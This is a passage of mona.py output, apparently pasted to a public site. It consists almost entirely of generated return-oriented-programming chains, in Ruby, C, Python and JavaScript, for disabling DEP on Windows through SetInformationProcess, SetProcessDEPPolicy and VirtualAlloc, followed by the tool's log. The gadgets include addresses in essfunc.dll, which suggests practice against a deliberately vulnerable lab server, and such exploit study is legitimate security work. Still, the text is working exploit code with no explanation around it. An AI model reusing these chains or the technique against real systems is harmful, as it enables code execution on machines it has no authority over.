- #[---INFO:gadgets_to_set_edi:---]
- 0x751e9df8, # POP EDI # RETN [apphelp.dll] ** REBASED ** ASLR
- 0x751e9df8, # skip 4 bytes [apphelp.dll] ** REBASED ** ASLR
- #[---INFO:pushad:---]
- 0x7721c180, # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- ]
- return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
- rop_chain = create_rop_chain()
- *** [ JavaScript ] ***
- //rop chain generated with mona.py - www.corelan.be
- rop_gadgets = unescape(
- "" + // #[---INFO:gadgets_to_set_ebp:---] :
- "%u6604%u76a3" + // 0x76a36604 : ,# POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- "%uc3c0%u772e" + // 0x772ec3c0 : ,# ptr to &SetInformationProcess() [IAT KERNELBASE.dll] ** REBASED ** ASLR
- "%ub710%u7735" + // 0x7735b710 : ,# MOV EBP,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_edx:---] :
- "%uf572%u7723" + // 0x7723f572 : ,# POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- "%uffde%uffff" + // 0xffffffde : ,# Value to negate, will become 0x00000022
- "%ua918%u766b" + // 0x766ba918 : ,# NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- "%uc549%u76b0" + // 0x76b0c549 : ,# XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_ecx:---] :
- "%u71e6%u75ae" + // 0x75ae71e6 : ,# POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
- "%u1511%u6250" + // 0x62501511 : ,# &0x00000002 [essfunc.dll]
- "" + // #[---INFO:gadgets_to_set_ebx:---] :
- "%ud133%u76ab" + // 0x76abd133 : ,# POP EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- "%uffff%uffff" + // 0xffffffff : ,# 0xffffffff-> ebx
- "" + // #[---INFO:gadgets_to_set_eax:---] :
- "%uea62%u7723" + // 0x7723ea62 : ,# POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- "%ufffc%uffff" + // 0xfffffffc : ,# Value to negate, will become 0x00000004
- "%u94ea%u766b" + // 0x766b94ea : ,# NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_edi:---] :
- "%u9df8%u751e" + // 0x751e9df8 : ,# POP EDI # RETN [apphelp.dll] ** REBASED ** ASLR
- "%u9df8%u751e" + // 0x751e9df8 : ,# skip 4 bytes [apphelp.dll] ** REBASED ** ASLR
- "" + // #[---INFO:pushad:---] :
- "%uc180%u7721" + // 0x7721c180 : ,# PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- ""); // :
- --------------------------------------------------------------------------------------------------
- ################################################################################
- Register setup for SetProcessDEPPolicy() :
- --------------------------------------------
- EAX = <not used>
- ECX = <not used>
- EDX = <not used>
- EBX = dwFlags (ptr to 0x00000000)
- ESP = ReturnTo (automatic)
- EBP = ptr to SetProcessDEPPolicy()
- ESI = <not used>
- EDI = ROP NOP (4 byte stackpivot)
- --------------------------------------------
- ROP Chain for SetProcessDEPPolicy() [(XP SP3/Vista SP1/2008 Server SP1, can be called only once per process)] :
- ---------------------------------------------------------------------------------------------------------------
- *** [ Ruby ] ***
- def create_rop_chain()
- # rop chain generated with mona.py - www.corelan.be
- rop_gadgets =
- [
- #[---INFO:gadgets_to_set_ebp:---]
- 0x75ac28c2, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x766a5940, # SetProcessDEPPolicy() [KERNEL32.DLL]
- #[---INFO:gadgets_to_set_ebx:---]
- 0x773b884f, # POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
- 0x62505008, # &0x00000000 [essfunc.dll]
- #[---INFO:gadgets_to_set_edi:---]
- 0x76b20b7e, # POP EDI # RETN [WS2_32.DLL] ** REBASED ** ASLR
- 0x76b20b7e, # skip 4 bytes [WS2_32.DLL] ** REBASED ** ASLR
- #[---INFO:pushad:---]
- 0x773594f1, # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
- ].flatten.pack("V*")
- return rop_gadgets
- end
- # Call the ROP chain generator inside the 'exploit' function :
- rop_chain = create_rop_chain()
- *** [ C ] ***
- #define CREATE_ROP_CHAIN(name, ...) \
- int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \
- unsigned int name[name##_length / sizeof(unsigned int)]; \
- create_rop_chain(name, ##__VA_ARGS__);
- int create_rop_chain(unsigned int *buf, unsigned int )
- {
- // rop chain generated with mona.py - www.corelan.be
- unsigned int rop_gadgets[] = {
- //[---INFO:gadgets_to_set_ebp:---]
- 0x75ac28c2, // POP EBP // RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x766a5940, // SetProcessDEPPolicy() [KERNEL32.DLL]
- //[---INFO:gadgets_to_set_ebx:---]
- 0x773b884f, // POP EBX // RETN [ntdll.dll] ** REBASED ** ASLR
- 0x62505008, // &0x00000000 [essfunc.dll]
- //[---INFO:gadgets_to_set_edi:---]
- 0x76b20b7e, // POP EDI // RETN [WS2_32.DLL] ** REBASED ** ASLR
- 0x76b20b7e, // skip 4 bytes [WS2_32.DLL] ** REBASED ** ASLR
- //[---INFO:pushad:---]
- 0x773594f1, // PUSHAD // RETN [ntdll.dll] ** REBASED ** ASLR
- };
- if(buf != NULL) {
- memcpy(buf, rop_gadgets, sizeof(rop_gadgets));
- };
- return sizeof(rop_gadgets);
- }
- // use the 'rop_chain' variable after this call, it's just an unsigned int[]
- CREATE_ROP_CHAIN(rop_chain, );
- // alternatively just allocate a large enough buffer and get the rop chain, i.e.:
- // unsigned int rop_chain[256];
- // int rop_chain_length = create_rop_chain(rop_chain, );
- *** [ Python ] ***
- def create_rop_chain():
- # rop chain generated with mona.py - www.corelan.be
- rop_gadgets = [
- #[---INFO:gadgets_to_set_ebp:---]
- 0x75ac28c2, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x766a5940, # SetProcessDEPPolicy() [KERNEL32.DLL]
- #[---INFO:gadgets_to_set_ebx:---]
- 0x773b884f, # POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
- 0x62505008, # &0x00000000 [essfunc.dll]
- #[---INFO:gadgets_to_set_edi:---]
- 0x76b20b7e, # POP EDI # RETN [WS2_32.DLL] ** REBASED ** ASLR
- 0x76b20b7e, # skip 4 bytes [WS2_32.DLL] ** REBASED ** ASLR
- #[---INFO:pushad:---]
- 0x773594f1, # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
- ]
- return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
- rop_chain = create_rop_chain()
- *** [ JavaScript ] ***
- //rop chain generated with mona.py - www.corelan.be
- rop_gadgets = unescape(
- "" + // #[---INFO:gadgets_to_set_ebp:---] :
- "%u28c2%u75ac" + // 0x75ac28c2 : ,# POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
- "%u5940%u766a" + // 0x766a5940 : ,# SetProcessDEPPolicy() [KERNEL32.DLL]
- "" + // #[---INFO:gadgets_to_set_ebx:---] :
- "%u884f%u773b" + // 0x773b884f : ,# POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
- "%u5008%u6250" + // 0x62505008 : ,# &0x00000000 [essfunc.dll]
- "" + // #[---INFO:gadgets_to_set_edi:---] :
- "%u0b7e%u76b2" + // 0x76b20b7e : ,# POP EDI # RETN [WS2_32.DLL] ** REBASED ** ASLR
- "%u0b7e%u76b2" + // 0x76b20b7e : ,# skip 4 bytes [WS2_32.DLL] ** REBASED ** ASLR
- "" + // #[---INFO:pushad:---] :
- "%u94f1%u7735" + // 0x773594f1 : ,# PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
- ""); // :
- --------------------------------------------------------------------------------------------------
- ################################################################################
- Register setup for VirtualAlloc() :
- --------------------------------------------
- EAX = NOP (0x90909090)
- ECX = flProtect (0x40)
- EDX = flAllocationType (0x1000)
- EBX = dwSize
- ESP = lpAddress (automatic)
- EBP = ReturnTo (ptr to jmp esp)
- ESI = ptr to VirtualAlloc()
- EDI = ROP NOP (RETN)
- --- alternative chain ---
- EAX = ptr to &VirtualAlloc()
- ECX = flProtect (0x40)
- EDX = flAllocationType (0x1000)
- EBX = dwSize
- ESP = lpAddress (automatic)
- EBP = POP (skip 4 bytes)
- ESI = ptr to JMP [EAX]
- EDI = ROP NOP (RETN)
- + place ptr to "jmp esp" on stack, below PUSHAD
- --------------------------------------------
- ROP Chain for VirtualAlloc() [(XP/2003 Server and up)] :
- --------------------------------------------------------
- *** [ Ruby ] ***
- def create_rop_chain()
- # rop chain generated with mona.py - www.corelan.be
- rop_gadgets =
- [
- #[---INFO:gadgets_to_set_esi:---]
- 0x75b2782f, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x7427a1a4, # ptr to &VirtualAlloc() [IAT mswsock.dll] ** REBASED ** ASLR
- 0x773ac722, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
- 0x76b41470, # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_ebp:---]
- 0x751cfa10, # POP EBP # RETN [apphelp.dll] ** REBASED ** ASLR
- 0x625011bb, # & jmp esp [essfunc.dll]
- #[---INFO:gadgets_to_set_ebx:---]
- 0x77270bb3, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0xffffffff, # Value to negate, will become 0x00000001
- 0x766b94ea, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x7720c130, # XCHG EAX,EBX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_edx:---]
- 0x75ad6de9, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x1a741001, # put delta into ecx (-> put 0x00001000 into edx)
- 0x76a75078, # ADD ECX,E58BFFFF # POP EBP # RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0x41414141, # Filler (compensate)
- 0x7729dde4, # ADD EDX,ECX # ADD EAX,20 # ADD EAX,EDX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_ecx:---]
- 0x76a9a6e0, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0xffffffc0, # Value to negate, will become 0x00000040
- 0x766ba918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x751de2ab, # XCHG EAX,ECX # RETN [apphelp.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_edi:---]
- 0x751ba213, # POP EDI # RETN [apphelp.dll] ** REBASED ** ASLR
- 0x766ba91a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_eax:---]
- 0x77270b75, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0x90909090, # nop
- #[---INFO:pushad:---]
- 0x7713a648, # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- ].flatten.pack("V*")
- return rop_gadgets
- end
- # Call the ROP chain generator inside the 'exploit' function :
- rop_chain = create_rop_chain()
- *** [ C ] ***
- #define CREATE_ROP_CHAIN(name, ...) \
- int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \
- unsigned int name[name##_length / sizeof(unsigned int)]; \
- create_rop_chain(name, ##__VA_ARGS__);
- int create_rop_chain(unsigned int *buf, unsigned int )
- {
- // rop chain generated with mona.py - www.corelan.be
- unsigned int rop_gadgets[] = {
- //[---INFO:gadgets_to_set_esi:---]
- 0x75b2782f, // POP EAX // RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x7427a1a4, // ptr to &VirtualAlloc() [IAT mswsock.dll] ** REBASED ** ASLR
- 0x773ac722, // MOV EAX,DWORD PTR DS:[EAX] // RETN [ntdll.dll] ** REBASED ** ASLR
- 0x76b41470, // XCHG EAX,ESI // RETN [WS2_32.DLL] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_ebp:---]
- 0x751cfa10, // POP EBP // RETN [apphelp.dll] ** REBASED ** ASLR
- 0x625011bb, // & jmp esp [essfunc.dll]
- //[---INFO:gadgets_to_set_ebx:---]
- 0x77270bb3, // POP EAX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0xffffffff, // Value to negate, will become 0x00000001
- 0x766b94ea, // NEG EAX // RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x7720c130, // XCHG EAX,EBX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_edx:---]
- 0x75ad6de9, // POP ECX // RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x1a741001, // put delta into ecx (-> put 0x00001000 into edx)
- 0x76a75078, // ADD ECX,E58BFFFF // POP EBP // RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0x41414141, // Filler (compensate)
- 0x7729dde4, // ADD EDX,ECX // ADD EAX,20 // ADD EAX,EDX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_ecx:---]
- 0x76a9a6e0, // POP EAX // RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0xffffffc0, // Value to negate, will become 0x00000040
- 0x766ba918, // NEG EAX // RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x751de2ab, // XCHG EAX,ECX // RETN [apphelp.dll] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_edi:---]
- 0x751ba213, // POP EDI // RETN [apphelp.dll] ** REBASED ** ASLR
- 0x766ba91a, // RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_eax:---]
- 0x77270b75, // POP EAX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0x90909090, // nop
- //[---INFO:pushad:---]
- 0x7713a648, // PUSHAD // RETN [KERNELBASE.dll] ** REBASED ** ASLR
- };
- if(buf != NULL) {
- memcpy(buf, rop_gadgets, sizeof(rop_gadgets));
- };
- return sizeof(rop_gadgets);
- }
- // use the 'rop_chain' variable after this call, it's just an unsigned int[]
- CREATE_ROP_CHAIN(rop_chain, );
- // alternatively just allocate a large enough buffer and get the rop chain, i.e.:
- // unsigned int rop_chain[256];
- // int rop_chain_length = create_rop_chain(rop_chain, );
- *** [ Python ] ***
- def create_rop_chain():
- # rop chain generated with mona.py - www.corelan.be
- rop_gadgets = [
- #[---INFO:gadgets_to_set_esi:---]
- 0x75b2782f, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x7427a1a4, # ptr to &VirtualAlloc() [IAT mswsock.dll] ** REBASED ** ASLR
- 0x773ac722, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
- 0x76b41470, # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_ebp:---]
- 0x751cfa10, # POP EBP # RETN [apphelp.dll] ** REBASED ** ASLR
- 0x625011bb, # & jmp esp [essfunc.dll]
- #[---INFO:gadgets_to_set_ebx:---]
- 0x77270bb3, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0xffffffff, # Value to negate, will become 0x00000001
- 0x766b94ea, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x7720c130, # XCHG EAX,EBX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_edx:---]
- 0x75ad6de9, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x1a741001, # put delta into ecx (-> put 0x00001000 into edx)
- 0x76a75078, # ADD ECX,E58BFFFF # POP EBP # RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0x41414141, # Filler (compensate)
- 0x7729dde4, # ADD EDX,ECX # ADD EAX,20 # ADD EAX,EDX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_ecx:---]
- 0x76a9a6e0, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0xffffffc0, # Value to negate, will become 0x00000040
- 0x766ba918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x751de2ab, # XCHG EAX,ECX # RETN [apphelp.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_edi:---]
- 0x751ba213, # POP EDI # RETN [apphelp.dll] ** REBASED ** ASLR
- 0x766ba91a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_eax:---]
- 0x77270b75, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0x90909090, # nop
- #[---INFO:pushad:---]
- 0x7713a648, # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- ]
- return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
- rop_chain = create_rop_chain()
- *** [ JavaScript ] ***
- //rop chain generated with mona.py - www.corelan.be
- rop_gadgets = unescape(
- "" + // #[---INFO:gadgets_to_set_esi:---] :
- "%u782f%u75b2" + // 0x75b2782f : ,# POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
- "%ua1a4%u7427" + // 0x7427a1a4 : ,# ptr to &VirtualAlloc() [IAT mswsock.dll] ** REBASED ** ASLR
- "%uc722%u773a" + // 0x773ac722 : ,# MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
- "%u1470%u76b4" + // 0x76b41470 : ,# XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_ebp:---] :
- "%ufa10%u751c" + // 0x751cfa10 : ,# POP EBP # RETN [apphelp.dll] ** REBASED ** ASLR
- "%u11bb%u6250" + // 0x625011bb : ,# & jmp esp [essfunc.dll]
- "" + // #[---INFO:gadgets_to_set_ebx:---] :
- "%u0bb3%u7727" + // 0x77270bb3 : ,# POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- "%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
- "%u94ea%u766b" + // 0x766b94ea : ,# NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- "%uc130%u7720" + // 0x7720c130 : ,# XCHG EAX,EBX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_edx:---] :
- "%u6de9%u75ad" + // 0x75ad6de9 : ,# POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
- "%u1001%u1a74" + // 0x1a741001 : ,# put delta into ecx (-> put 0x00001000 into edx)
- "%u5078%u76a7" + // 0x76a75078 : ,# ADD ECX,E58BFFFF # POP EBP # RETN [RPCRT4.dll] ** REBASED ** ASLR
- "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
- "%udde4%u7729" + // 0x7729dde4 : ,# ADD EDX,ECX # ADD EAX,20 # ADD EAX,EDX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_ecx:---] :
- "%ua6e0%u76a9" + // 0x76a9a6e0 : ,# POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
- "%ua918%u766b" + // 0x766ba918 : ,# NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- "%ue2ab%u751d" + // 0x751de2ab : ,# XCHG EAX,ECX # RETN [apphelp.dll] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_edi:---] :
- "%ua213%u751b" + // 0x751ba213 : ,# POP EDI # RETN [apphelp.dll] ** REBASED ** ASLR
- "%ua91a%u766b" + // 0x766ba91a : ,# RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_eax:---] :
- "%u0b75%u7727" + // 0x77270b75 : ,# POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- "%u9090%u9090" + // 0x90909090 : ,# nop
- "" + // #[---INFO:pushad:---] :
- "%ua648%u7713" + // 0x7713a648 : ,# PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- ""); // :
- --------------------------------------------------------------------------------------------------
- 0BADF00D ROP generator finished
- 0BADF00D
- 0BADF00D [+] Writing stackpivots to file stackpivot.txt
- 0BADF00D Wrote 10820 pivots to file
- 0BADF00D [+] Writing suggestions to file rop_suggestions.txt
- 0BADF00D Wrote 5335 suggestions to file
- 0BADF00D [+] Writing results to file rop.txt (36939 interesting gadgets)
- 0BADF00D Wrote 36939 interesting gadgets to file
- 0BADF00D [+] Writing other gadgets to file rop.txt (45656 gadgets)
- 0BADF00D Wrote 45656 other gadgets to file
- 0BADF00D Done
- 0BADF00D
- 0BADF00D [+] This mona.py action took 0:01:33.063000
Advertisement
Add Comment
Please, Sign In to add comment